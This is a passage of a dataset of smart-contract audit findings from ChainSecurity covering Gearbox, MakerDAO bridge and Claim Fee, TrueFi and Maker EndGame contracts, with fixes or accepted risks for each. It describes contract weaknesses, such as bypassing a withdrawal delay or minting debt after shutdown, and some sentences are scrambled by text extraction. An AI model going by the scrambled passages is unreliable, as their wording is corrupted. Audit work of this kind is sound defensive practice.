ETH to the contract might be in for a surprise when the FAILED stage is reached and they want to call retrieveETH: The transfer won't succeed. In this case, the ETH of these users has to be transferred manually by the owner using execute. ETH are now transferred using low level calls. GEARBOX - Gearbox Auction - 10 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.3 Gas Optimizations The following parts of the contracts could be optimized for gas efficiency: _advanceStage redundantly checks for the condition if the block.timestamp has exceeded the fairTradingStart. _advanceStage performs multiple, redundant storage loads of stage. _advanceStage sets the stage to ETH_DEPOSIT and then immediately sets it to FAILED. GEAR token transfers are conducted using safeTransferFrom. This overhead is not needed as the GEAR token's transfer functions are reverting by default. _getCurrentMinMaxAmounts redundantly totalEthCommitted from storage multiple times. loads totalGearCommitted and getPendingLPAmount redundantly loads totalLPTokens from storage multiple times. _commitETH redundantly loads totalEthCommitted from storage multiple times. commitGEAR redundantly loads totalGearCommitted from storage multiple times. _depositToPool redundantly loads curvePool, totalGearCommitted and totalEthCommitted from storage multiple times. foundry.toml does not contain settings for the optimizer. All listed gas optimizations have been integrated, except for the following (minor) points: foundry.toml has not been updated with optimizer settings. _depositToPool still loads curvePool two times from storage. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "6.4 Shearing Percent Getter Wrong Before Fair", "body": " Trading Stage If getCurrentShearingPct is called before the fairTradingStart timestamp is reached, it will display more than the maximum shearing percentage. getCurrentShearingPct now returns shearingPctStart before fairTradingStart. GEARBOX - Gearbox Auction - 11 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "7.1 Almighty Owner Function", "body": " The owner of the Bootstrap contract is \"almighty\". The function execute allows non-restricted calls to any contract. This setup seems fine as the owner is planned to be the GEARBOX_TREASURY address. The thread model assumes this address fully trusted. Still, it should be checked after deployment that all addresses were set correctly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "7.2 Fail at FAIR_TRADING Stage", "body": " The function fail can be called by the owner of the contract at any stage. If it is called in FAIR_TRADING stage, LP tokens have already been transferred to the contract and cannot be distributed through the claimLP function. Instead, they have to be sent to another contract (with execute) on which a distribution can take place. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "7.3 Inconsistent and Floating Pragma", "body": " Gearbox Auction uses the floating pragma ^0.8.10. Additionally, the compiler version is not set in the Foundry settings. Contracts should be deployed with consistent compiler versions and flags that were used during testing and auditing. Locking the pragma helps to ensure that contracts are not accidentally deployed using a different compiler version and helps to ensure a reproducible deployment. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "7.4 Rounding Errors", "body": " Due to rounding errors, the following can happen: A call to sellGear with 3 wei of GEAR tokens (or slightly more depending on the current shearing percentage) can be sold without the shearing fee. Some LP tokens might not get distributed. If, for example, 25 wei LP tokens are distributed to a user that committed all of the GEAR liquidity and all of the ETH liquidity, the user only receives 24 wei LP tokens. GEARBOX - Gearbox Auction - 12 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "6.1 Outdated Interfaces", "body": " The zkSync interfaces for L2Log and L2Message have been updated and the ones used in the DAI bridge current codebase are deprecated. The malformed L2 logs or messages would block any attempt of withdrawal or claim of a failed deposit. The structs used correspond now to the most recent version of the zkSync 2.0 structs. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "6.2 Refund Recipient Is Not Aliased", "body": " On ZkSync the contract addresses are aliased using the AddressAliasHelper.applyL1ToL2Alias function, to distinguish between L1 and L2 initiated transactions. However, the refund recipient in the Mailbox.requestL2Transaction call in the L1DAITokenBridge contract doesn't alias the msg.sender address, even if it is a contract address. Refund recipient address is aliased if the msg.sender is a contract. MakerDAO - zkSync DAI Bridge - 12 CriticalCodeCorrectedHighMediumCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCorrectnessCriticalVersion1CodeCorrectedDesignMediumVersion5CodeCorrected \f6.3 Critical Tests Missing Some critical tests are missing in the test suite, for example, the e2e test for claiming a failed deposit is incomplete. After Matter Labs provided the necessary sdk functions to generate the proof required by claimFailedDeposit a test case was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "6.4 Inconsistent Use of Interfaces", "body": " When L1DAITokenBridge calls finalizeDeposit, it uses the L2DAITokenBridgeLike interface. The L2DAITokenBridge implements IL2Bridge, but IL2Bridge and L2DAITokenBridgeLike are not connected. MakerDAO uses the IL2Bridge interface now and has removed the L2DAITokenBridgeLike interface. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "6.5 Lack of Documentation", "body": " The main functionality is sufficiently documented. However, the interaction with zkSync 2.0 remains undocumented. This is of high importance as zkSync 2.0's documentation is incomplete. Furthermore, the emergency shutdown process remains undocumented. Specification changed: Natspec documentation was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "6.6 Remaining TODO in the Source Code", "body": " There is a leftover TODO comment in the code of L1DAITokenBridge. The TODO was removed. MakerDAO - zkSync DAI Bridge - 13 DesignMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f6.7 Unused enum There is an unused QueueType enum in the file L1GovernanceRelay.sol. MakerDAO has removed the unused enum. MakerDAO - zkSync DAI Bridge - 14 DesignLowVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "7.1 zksolc Not Up-To-Date", "body": " The version of the compiler that currently used is 1.3.3, at the time of writing the latest compiler version is 1.3.5. MakerDAO - zkSync DAI Bridge - 15 InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "8.1 Contract Address Aliasing Maps to", "body": " Non-Operational Addresses The contract deployment processes are different on zkSync and Ethereum mainnet, this discrepancy has as an effect that two similar contracts deployed by the account will not have the same address on L1 and L2, even considering address aliasing. The L1DAITokenBridge specifies the msg.sender (or it's alias for smart contracts) as the refund recipient. The contracts that plan to use the L1DAITokenBridge need to be able to access the refunded funds. While the refunded funds will be credited on L2, the L1 contracts should be able to call zkSync bridges to spend those funds. MakerDAO - zkSync DAI Bridge - 16 NoteVersion6 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-zksync-dai-bridge/"}, {"title": "5.1 Redemption Blocked When No Rate Entry at", "body": " Maturity Exists After the shutdown of the ClaimFee contract, users may exchange their claim balance for DAI using cashClaim(), if it has a maturity after the closure timestamp. However, this requires a valid entry in ratio[ilk][maturity] which must be set manually for each ilk and maturity by the governance. Since the function slice allows users to split their claim fee, many arbitrary maturity timestamps may exist. If the user still holds all segments up to the maturity, they may be able to merge them using function merge(). However, these segments may not be available anymore: Individual segments may have been redeemed already, or be unavailable to the user as they have been transferred using the function moveClaim. Overall, users may be blocked and unable to redeem their claim fee. Risk accepted: Deco accepts the risk that rate entries might be missing for maturity timestamps. They pledge to provide appropriate support to ensure all maturities have a valid ratio set in case of emergency shutdown. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "5.2 Gate1 Withdraw Timestamp", "body": " MakerDAO - Claim Fee Maker - 10 DesignCorrectnessCriticalHighMediumRiskAcceptedLowAcknowledgedRiskAcceptedRiskAcceptedDesignMediumVersion1RiskAcceptedDesignLowVersion1Acknowledged \fIn the Gate1 constructor, the withdrawAfter timestamp is set. The only check made using this value is to see if it is in the past. Thus, not setting the value at all would save gas and yield the same results. Acknowledged: The additional storage write is a one-time cost during deployment. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "5.3 Leftover Claims", "body": " ClaimFee.collect() reimburses the stability fee accrued between the issuance and collect timestamp. If the collect timestamp is not equal to the maturity, a new claim fee is issued from the collect timestamp to the maturity. In general, it's very unlikely that a valid rate is stored for the maturity timestamp: Apart from values manually inserted by the governance, rates stored through function snapshot() can only exist for valid block timestamps. The maturity of a claim fee could have been set months in advance upon issuance or the claim fee could have been sliced in various ways. Hence, most of the time, it's not possible to collect up to the maturity timestamp. This design will result in minting many small \"leftover\" claims. Risk accepted: There will be standardized maturity timestamps, e.g.the first day of the month at 12:00:00 UTC. Additionally, it is planned to run bots that regularly take snapshots to ensure that any leftover claims are sufficiently small to be negligible. Lastly, users will be warned against using functionality which creates non-standard maturity timestamps. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "5.4 Slice at Timestamp With No Rate", "body": " The function slice allows users to split their claim at a certain timestamp. However, it is possible that the timestamp at which they split their claim does not have a valid rate. Unless they later merge their claims again, or the governance adds a valid rate for the split timestamp, it may not be possible for the user to redeem the full value of the claims. Risk accepted: As stated previously, it is intended to have standardized maturity timestamps so that users can know in advance which timestamps will have valid rates. Using such timestamps, users are able to split their claims without incurring any losses. Should the need arise there are two pathways to mitigate the situation: Governance may insert snapshots at timestamp or users can use activate() to activate a claim fee balance at a timestamp with a rate set. Note that yield earned between issuance and the activation timestamp becomes uncollectable and is permanently lost. MakerDAO - Claim Fee Maker - 11 DesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Increasing VAT Debt After Shutdown, After thaw() -Severity Findings Comments Regarding vow.heal() Governance Can Burn From Users Gate1.heal() totalSupply Mapping Not Updated -Severity Findings Address of VOW Duplicate Check Maturity in the Past Unused Constants and Function Various Event Issues this Keyword in initializeIlk 0 1 4 6 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.1 Increasing VAT Debt After Shutdown, After ", "body": " thaw() ClaimFee generates the required DAI by calling vat.suck() through the Gate1 contract which acts as a safeguard to enforce a limit on the maximum amount of DAI that can be generated by adding bad debt to the system. vat.suck() is independent of the system status, notably whether the VAT is live or not. Hence, the call to vat.suck() will add more bad debt and generate DAI when the VAT is in shutdown. This occurs even after end.thaw() has been called in step 6 of the shutdown, which fixes the total outstanding supply of DAI. The Gate1 contract's purpose is to limit access of the ClaimFee contract in the core maker system: In order to draw bad debt using vat.suck() one needs to be a ward in the VAT to be able to pass the auth modifier. To avoid giving full privileges to the external ClaimFee contract, an intermediary contract Gate1 is introduced, which will be given the privileged role in the VAT. The code of the Gate1 contract enforces limitations in order to limit the risk for the core system. In its current state, the Gate1 contract is missing restrictions to prevent drawing more debt when the VAT is in shutdown. For further reference: MakerDAO - Claim Fee Maker - 12 CriticalHighCodeCorrectedMediumSpeci\ufb01cationChangedSpeci\ufb01cationChangedRiskAcceptedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedAcknowledgedCodeCorrectedDesignHighVersion1CodeCorrected \fhttps://github.com/makerdao/dss/blob/master/src/end.sol#L410 https://docs.makerdao.com/smart-contract-modules/shutdown/end-detailed-documentation#6.-thaw https://github.com/makerdao/dss/blob/master/src/vat.sol#L230 A check for the condition VatAbstract(vat).live() == 1 was added to the accessSuck function in the ClaimFee contract. This prevents the debt from increasing after the VAT is in shutdown. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.2 Comments Regarding vow.heal()", "body": " One of the annotations of the Gate1 contract reads: does not execute vow.heal to ensure the dai draw amount from vat.suck is lower than the surplus buffer currently held in vow There is the following comment in Gate1.accessSuck(): // call suck to transfer dai from vat to this gate contract try VatAbstract(vat).suck(address(vow), address(this), amount_) { // optional: can call vow.heal(amount_) here to ensure // surplus buffer has sufficient dai balance // accessSuck success- successful vat.suck execution for requested amount return true; } catch { vow.heal() uses surplus DAI of the VOW (= surplus buffer) to repay bad debt of the VOW at the VAT vat.suck() generates DAI by creating bad debt assigned to the VOW Vat.suck() simply adds bad debt, there is nothing ensuring the amount of DAI drawn is lower than the surplus buffer. Specification changed: The annotation and comments were removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.3 Governance Can Burn From Users", "body": " The function ClaimFee.withdraw() allows the privileged ward role (the governance) to burn a claim of any user. However, the function's annotation contradicts this as it states the following: /// Withdraws claim balance held by governance before maturity /// @dev Governance is allowed to burn the balance it owns MakerDAO - Claim Fee Maker - 13 CorrectnessMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1Speci\ufb01cationChangedRiskAccepted \fFurthermore, this function can also withdraw/burn a claim balance upon/after maturity. Risk accepted: The annotation was changed to reflect the functionality. The risk of allowing the governance to burn any user's balance is accepted, as they plan to add additional contracts with functionalities that require burning claim fee balances. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.4 Gate1.heal()", "body": " Gate1.heal() is annotated with: // Access to vat.heal() can be used appropriately by an integration It simply calls vat.heal(): function heal(uint rad) external { VatAbstract(vat).heal(rad); } Vat.heal() heals bad debt of msg.sender() function heal(uint rad) external { address u = msg.sender; sin[u] = sub(sin[u], rad); dai[u] = sub(dai[u], rad); vice = sub(vice, rad); debt = sub(debt, rad); } The Gate1 contract however doesn't accrue bad debt when generating DAI: Gate1 only draws bad debt using vat.suck(address(vow), address(this), amount_). The bad debt is assigned to the VOW, only the generated DAI is assigned to the Gate1 contract: function suck(address u, address v, uint rad) external auth { sin[u] = add(sin[u], rad); dai[v] = add(dai[v], rad); vice = add(vice, rad); debt = add(debt, rad); } If the Gate1 contract doesn't accrue bad debt outside of its own functionality, the function has no purpose. Furthermore, if Gate1 does indeed accrue bad debt, the intended backup DAI balance may be compromised by the fact that anyone could call heal() and use some of this DAI balance to heal the bad debt. MakerDAO - Claim Fee Maker - 14 DesignMediumVersion1CodeCorrected \f The heal() function of the Gate1 contract was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.5 totalSupply Mapping Not Updated", "body": " The ClaimFee contract has a totalSupply mapping which should track the total supply of claims per ilk. However, neither the mintClaim nor burnClaim functions update the mapping. The totalSupply mapping is now updated accordingly in the mintClaim and burnClaim functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.6 Address of VOW", "body": " In the Gate1 Contract, both the VOW and the VAT addresses are stored as immutables. In contrast, the ClaimFee contract stores both addresses in storage without implementing functionality to update the address. As reading from storage is expensive, variables set only during deployment may be changed to immutables. During the deployment, all immutable values are inserted into the bytecode of the deployed contract code. Hence, they can be accessed during execution without the need for an expensive SLOAD operation. that there are ongoing discussions Note to use a proxy: https://github.com/makerdao/dss/pull/241 As such, it may be necessary to have a mutable storage variable for its address. to change the VOW The VAT address was made immutable in the ClaimFee contract, and the VOW address was removed. Instead, the VOW address is dynamically queried from the Gate1 contract when necessary. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.7 Duplicate Check", "body": " The function issue checks the following condition: require(initializedIlks[ilk] == true, \"ilk/not-initialized\"); However, the mintClaim function checks the very same condition and hence the check in issue is unnecessary. The duplicate check was removed. MakerDAO - Claim Fee Maker - 15 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.8 Maturity in the Past The function issue places the following requirement on the maturity timestamp: require( issuance <= latestRateTimestamp[ilk] && latestRateTimestamp[ilk] <= maturity, \"timestamp/invalid\" ); However, there is no guarantee that the value latestRateTimestamp[ilk] is recent. As it makes little sense to issue a claim with a maturity in the past, one could instead check that the maturity is later than the current block timestamp. The issue function now ensures the condition block.timestamp <= maturity. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.9 Unused Constants and Function", "body": " There are a few constants and a function that are unused or could otherwise be omitted. 1. The MAX_UINT constant could be replaced with the built-in Solidity constant: type(uint256).max. 2. The constant RAD is never used. 3. The function wmul is never used. The MAX_UINT constant was replaced as suggested; RAD and wmul were removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.10 Various Event Issues", "body": " There are a few functions in which events should be emitted or the event parameters should be indexed. 1. In the ClaimFee constructor, no Rely event is emitted when the message sender is added as a ward. 2. No event is emitted by the close function. This is an important change regarding the functionality of the contract and hence should emit an event. 3. No event is emitted by the calculate function. Again, this is an important storage change which allows users to cash out. Indexing the events would allow users to search for specific ilks and maturities. 4. The Kiss and Diss events in the Gate1 contract are not indexed. 5. The NewApprovedTotal and Draw events in the Gate1 contract could have indexed amounts. MakerDAO - Claim Fee Maker - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedAcknowledged \f 1. A Rely event emission was added to the ClaimFee constructor. 2. A Closed event was added and is now emitted by the close function. 3. A NewRatio event was added and is now emitted by the calculate function. 4. The address parameter in the Kiss and Diss events in the Gate1 contract are now indexed. Acknowledged: 5. The NewApprovedTotal event was indexed accessSuckStatus parameter, but the amount parameter is not indexed as Deco did not see the need for it. removed. The Draw event now has an ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.11 this Keyword in initializeIlk", "body": " The initializeIlk function makes the following call to the snapshot function: function initializeIlk(bytes32 ilk) public auth { // ... this.snapshot(ilk); // take a snapshot } Calling a function in this way incurs an extra cross-contract call. In order to make an internal call, the snapshot function would have to be declared public instead of external and the this keyword removed. In initializeIlk() has been updated accordingly. the snapshot functions visibility has been changed to public, the call in MakerDAO - Claim Fee Maker - 17 DesignLowVersion1CodeCorrectedVersion3 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "7.1 Circumvent withdrawAfter Restriction", "body": " Gate1 features a restriction for function withdrawDai(). The privileged role able to pass the auth modifier can only call withdrawDai() successfully when the withdrawal condition is satisfied: bool withdrawalAllowed = (block.timestamp >= withdrawAfter); The privileged role able to pass the auth modifier can always add any address as a bud using the function kiss(). Such an account can then pass the toll modifier and successfully call suck() / draw() and draw DAI. If the call to vat.suck() is unsuccessful (e.g. if the limit has already been reached) this allows to withdraw the backup DAI balance of the contract. Code partially corrected: While it is no longer possible to add a bud when the withdrawal condition is not satisfied, an already existing bud would still be able to circumvent the restriction. For example, after the contract is created, a bud could be added, and only then withdrawAfter would be set to a timestamp in the future. Alternatively, one could wait for withdrawAfter to be in the past, then add a bud and set withdrawAfter to a future timestamp. Therefore, a ward is still able to withdraw the backup DAI balance of the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "7.2 Discrepancy Between Reimbursed Amount", "body": " and Actual Stability Fee The stability fee paid in in the Maker system is based on the rate increase between when taking and repaying the debt. ClaimFee reimburses the stability fee based on stored snapshots of the rate. There are corner cases where the rate stored may not match the actual rate debt was taken/repaid for at this timestamp and hence the reimbursed amount of DAI is not the amount of stability fee paid by the user. Storing the current rate in ClaimFee does not trigger the update of the rate in the Maker system (jug.drip()). A later transaction in the very same block may trigger jug.drip() and further transactions modifiying a debt position of this ilk use the new rate. Consider the following scenarios which must happen within the same block: 1. ClaimFee.snapshot() is executed and rate A is stored Jug.drip() is executed -> The rate is udpated to A+x The user repays debt in the Maker system at rate A+x MakerDAO - Claim Fee Maker - 18 NoteVersion1CodePartiallyCorrectedNoteVersion1RiskAccepted \fWhen the user calls collect() on his claim fee balance he is reimbursed based on the \"old\" rate stored and receives less DAI than actual stability fee paid. 2. User takes debt in the Maker system at rate A Jug.drip() is executed -> rate is udpated to A+x ClaimFee.snapshot() is executed and rate A+x is stored Similarly, the user may not be compensated for the full stability fee in this scenario. Note that normally, with the stability fee based on the rate/time, the user has an incentive to increase the rate first using jug.drip() before taking on debt. However, unaware users with the impression that claim fee covers their stability fee may not do this. We assume that jug.drip() is executed frequently and the resulting rate increase is small enough so the discrepancies arising in scenarios as described above can be neglected. Risk accepted: The risk is accepted based on the assumption that the rate increases are small enough to be negligible. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "7.3 No Connection Between ClaimFee and Actual", "body": " Debt There is no connection between an issued claim fee and debt in the VAT. ClaimFee reimburses the stability fee its amount (art) would have accrued. Note that the amount of claim fees issued per ilk should not exceed the amount of actual debt per ilk otherwise more stability fee is reimbursed than is actually accrued by the system. Deco responded: \u2013 Our goal is to help the Maker protocol find users who want to hold a vault open for the entire term of the claim fee so that the protocol can derive the benefits of a sticky user and collect the fixed-rate revenue upfront without having to make any re-imbursements later to these users from the revenue generated by variable-rate vaults held by others. We want to ensure claim fee supply stays matched to the vaults who signed up for fixed-rate debt at the issuance date. \u2013 ClaimFee has a transfer function which already allows a vault owner who has claim fee balance and no longer wants to use it to transfer it to another regular vault owner. This would keep claim fee balance less than ilk debt and not trigger the excess reimbursement issue. \u2013 We originally planned to avoid reimbursements that exceed stability fee accrual to the system when debt level drops directly at the urn that was supposed to use the claim fee balance, by combining both the urn and claim fee balance and routing all its usage through a CDP Manager style contract which can create and manage a fixed-rate vault. This CDP Manager can have the required state transitions to keep both debt and claim fee balance of the vault in sync over its lifetime. \u2013 We now plan to design and deploy a much simpler and standalone \u201cLiquidation Penalty\u201d contract instead of the modified CDP Manager. Liquidity Penalty contract can withdraw an amount of claim-fee balance (burn it) held by a user address to match any reduction in debt on a regular vault the same address holds. We don\u2019t want addresses holding claim fee balances standalone without also holding vaults of the collateral type between the issuance and maturity timestamps of the claim fee balance. This liquidation penalty contract could re-imburse the claim fee balance after taking a haircut on its current MakerDAO - Claim Fee Maker - 19 NoteVersion1 \fvalue(let\u2019s say 75%, make it attractive for fixed-rate vault owners to abandon their claim fee balance, but not set it too high at like 100% to ensure no reimbursement but force claim fee holders to find buyers among other vault owners to avoid loss of value) to ensure claim fee in circulation stays below the debt held in urn at all times, thereby also solving the issue at the ilk level. MakerDAO - Claim Fee Maker - 20 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-claim-fee/"}, {"title": "6.1 Debt Recovery", "body": " Debt recovery via single installment is not enforced. The Redeem stage of the PortfolioDebtToken can start with no assets inside the contract. In addition, the single redemption event is not guaranteed as well. These properties are hard to enforce, but users need to be aware of the potential issues. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-archblock-portfolio-debt-token/"}, {"title": "6.2 Gas Optimizations", "body": " The function PortfolioDebtToken.status does two storage loads (SLOAD) upon the assertion assert(mintDeadline < redeemDeadline); followed by one or two more SLOAD in the if-else block. The same result can be achieved, by burning less gas, and by loading only one of the two variables in the assertion. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-archblock-portfolio-debt-token/"}, {"title": "6.3 Mint and Redeem Stage Durations", "body": " the checks enforce While statuses (Mint->Redeem->Recover), the actual durations can be too short for the actions to be performed. In the extreme case, the difference between mintDeadline and redeemDeadline can be less than the difference between timestamps of two consecutive blocks. sequence of PortfolioDebtToken the proper ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-archblock-portfolio-debt-token/"}, {"title": "6.4 Zero Value Events", "body": " Even though the mint and deposit are disabled via the 0 max value setting, the 0 value deposits can still be performed by the users at any point. In the same way, the 0 value withdrawals and redeems can be performed not in redeem state of the PortfolioDebtToken. While such actions do not change the state of the contract, Deposit and Withdraw events will be still emitted. Archblock & TrueFi - Portfolio Debt Token - 10 InformationalVersion1InformationalVersion1InformationalVersion1InformationalVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-archblock-portfolio-debt-token/"}, {"title": "5.1 Precision Loss in rewardRate Calculation", "body": " The calculation of the rewardRate causes a potentially harmful loss of precision. The default rewardsDuration denominator (1 week reward duration) loses up to 604800 wei of precision every time notifyRewardAmount() is called, in the following calculation: CS-MET-001 rewardRate = reward / rewardsDuration; and rewardRate = (reward + leftover) / rewardsDuration; The amount lost due to rounding has been deposited in the contract, but the internal accounting loses track of it, rendering it unclaimable. If rewardsToken is a token with a high value per wei, the loss can be significant. For example, if rewardsToken is USDC, which has 6 decimals, the loss can be of up to $ 0.6048 every time notifyRewardAmount() is called. If the token is WBTC, which has 8 decimals but much higher value per wei, is computed. Since notifyRewardAmount() can be called every 12 seconds through VestedRewardsDistribution, the rounding amount can be lost up to 50400 times per week. to $ 181 every the rewardRate is up time loss the For tokens with a higher number of decimals and a low value per wei, for example DAI or WETH, the loss is less significant. It amounts to a maximum of $ 0.00006 per week for WETH and $ 3e-18 per week for DAI. The maximum weekly loss can be calculated as follows: weeklyLoss = rewardsDuration * tokenValuePerWei * blocksPerWeek Risk accepted: Maker states: Maker - EndGame Toolkit - 10 DesignCriticalHighMediumLowRiskAcceptedDesignLowVersion1RiskAccepted \fRisk accepted. We are aware of the issue with precision loss, however we wanted to avoid making changes to the original code as much as possible. The StakingRewards contract in this context will only ever handle tokens with 18 decimals (DAI, MKR, SubDAO tokens, NewStable \u2013 Dai equivalent, NewGov \u2013 MKR equivalent). If we take MKR as an example, its all-time high price was just short of 6,300 USD. Let\u2019s extrapolate its value imagining it could grow 100x for the duration of the staking rewards program. Using the formula you provided, we would have: weeklyLoss = rewardsDuration * tokenValuePerWei * blocksPerWeek = 604800 * 50400 * (630000 * 10^(-18)) = 0.0192036096 Even in this extreme scenario, weekly losses would amount to less than 0.02 USD, which is acceptable for us. Maker - EndGame Toolkit - 11 \f6 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-endgame-toolkit/"}, {"title": "6.1 Typo in Documentation", "body": " In the NatSpec for the VestedRewardsDistribution contract at line 23 RewardsDistribution is misspelled. CS-MET-002 The typo has been corrected. Maker - EndGame Toolkit - 12 InformationalVersion1 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-endgame-toolkit/"}, {"title": "7.1 Ability to Modify name & symbol", "body": " introduces functionality for the priviledge role to update the token parameter name and symbol. Note that is unusual for ERC20 tokens and must be done with care. Some downstream applications or smart contracts may not be designed to accommodate such changes. Consider these illustrative examples: Upon deployment the name of Curve pools is set using the traded token names. The representative token deployed by third-party bridges to other chains is often based on the original token's name and symbol. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-endgame-toolkit/"}, {"title": "7.2 Rewards in StakingRewards Might Take", "body": " Longer to Vest Than Expected Rewards added to StakingRewards could be expected to be payed out to stakers in rewardsDuration time, which is initially set to 7 days. However, every time notifyRewardAmount() is called, a new rewardRate the next the vesting of rewardDuration. the remaining amount over is computed prolonging As a simple example, assume we are distributing 1000 DAI over one week, then the rewardRate will be rewardRate = 1000 * 10**18 / rewardDuration. If after 3.5 days have passed we call notifyRewardAmount(), adding a 0 reward, the new rewardRate is computed as rewardRate = (reward + leftover) / rewardsDuration; which will amount to rewardRate = 500 * 10**18 / rewardDuration. Moreover, the from periodFinish initialTime + rewardDuration. Overall, the reward distribution will last 1.5 times the expected duration, with the latter rewardDuration period having half the effective rewardRate as expected. pushed be rewardDuration by initialTime rewardDuration/2 rewardDuration, moving back will + + to it time If we take this reasoning to the extreme, notifyRewardAmount() can be called every block, which will the periodFinish by 12 seconds, and reduce every the reward rate by 1 - blockDuration/rewardDuration. This is because the new rewardRate will be the old reward minus the consumed reward. increase rewardRatet = (rewardt \u2212 1 \u2212 rewardRatet \u2212 1 * blockDuration) rewardDuration rewardt \u2212 1 \u2212 rewardt \u2212 1 RewardDuration * blockDuration rewardDuration = = rewardt \u2212 1 rewardDuration * (1 \u2212 blockDuration rewardDuration ) = rewardRatet \u2212 1 * (1 \u2212 blockDuration rewardDuration ) from Over by (1-blockDuration/rewardDuration)^n, which is an 